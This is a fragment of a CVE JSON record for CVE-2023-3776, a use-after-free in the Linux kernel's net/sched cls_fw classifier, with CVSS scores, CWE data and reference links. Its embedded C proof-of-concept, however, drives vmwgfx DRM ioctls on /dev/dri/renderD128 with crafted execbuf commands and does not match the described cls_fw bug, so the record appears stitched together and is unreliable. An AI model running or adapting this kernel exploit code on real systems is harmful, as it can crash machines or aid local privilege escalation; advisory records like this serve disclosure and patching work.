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          "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n               0x2000,\n                PROT_READ | PROT_WRITE,\n                MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n                printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n                        strerror(errno));\n                        }\n                        \n          memset(vaddr,\"a\",0x2000);     \nint cmd[0x1000]={0};\ncmd[0]=1149;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=sid;\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context();  \n  printf(\"%d\",cid);     \n    poc(cid);            \n  \n}"
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          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6.5",
              "status": "affected",
              "version": "2.6",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Muhammad Alifa Ramdhan of STAR Labs SG"
        }
      ],
      "datePublic": "2023-07-07T02:10:00.000Z",
      "descriptions": [
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          "lang": "en",
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              "value": "\u003cp\u003eA use-after-free vulnerability in the Linux kernel\u0027s net/sched: cls_fw component can be exploited to achieve local privilege escalation.\u003c/p\u003e\u003cp\u003eIf tcf_change_indev() fails, fw_set_parms() will immediately return an error after incrementing or decrementing the reference counter in tcf_bind_filter(). If an attacker can control the reference counter and set it to zero, they can cause the reference to be freed, leading to a use-after-free vulnerability.\u003c/p\u003e\u003cp\u003eWe recommend upgrading past commit 0323bce598eea038714f941ce2b22541c46d488f.\u003c/p\u003e"
            }
          ],
          "value": "A use-after-free vulnerability in the Linux kernel\u0027s net/sched: cls_fw component can be exploited to achieve local privilege escalation.\n\nIf tcf_change_indev() fails, fw_set_parms() will immediately return an error after incrementing or decrementing the reference counter in tcf_bind_filter(). If an attacker can control the reference counter and set it to zero, they can cause the reference to be freed, leading to a use-after-free vulnerability.\n\nWe recommend upgrading past commit 0323bce598eea038714f941ce2b22541c46d488f."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-233",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-233 Privilege Escalation"
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          ]
        }
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            "attackVector": "LOCAL",
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            "baseScore": 7.8,
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            "confidentialityImpact": "HIGH",
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            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
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            {
              "cweId": "CWE-416",
              "description": "CWE-416 Use After Free",
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          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-02-02T14:06:25.968Z",
        "orgId": "14ed7db2-1595-443d-9d34-6215bf890778",
        "shortName": "Google"
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      "references": [
        {
          "tags": [
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          "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=0323bce598eea038714f941ce2b22541c46d488f"
        },
        {
          "url": "https://kernel.dance/0323bce598eea038714f941ce2b22541c46d488f"
        },
        {
          "url": "https://www.debian.org/security/2023/dsa-5480"
        },
        {
          "url": "https://www.debian.org/security/2023/dsa-5492"
        },
        {
          "url": "http://packetstormsecurity.com/files/175072/Kernel-Live-Patch-Security-Notice-LSN-0098-1.html"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00027.html"
        },
        {
          "url": "http://packetstormsecurity.com/files/175963/Kernel-Live-Patch-Security-Notice-LSN-0099-1.html"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20240202-0003/"
        }
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      "source": {
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      "title": "Use-after-free in Linux kernel\u0027s net/sched: cls_fw component",
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    "cveId": "CVE-2023-3776",
    "datePublished": "2023-07-21T20:49:53.667Z",
    "dateReserved": "2023-07-19T15:50:20.757Z",
    "dateUpdated": "2025-03-05T18:48:04.229Z",
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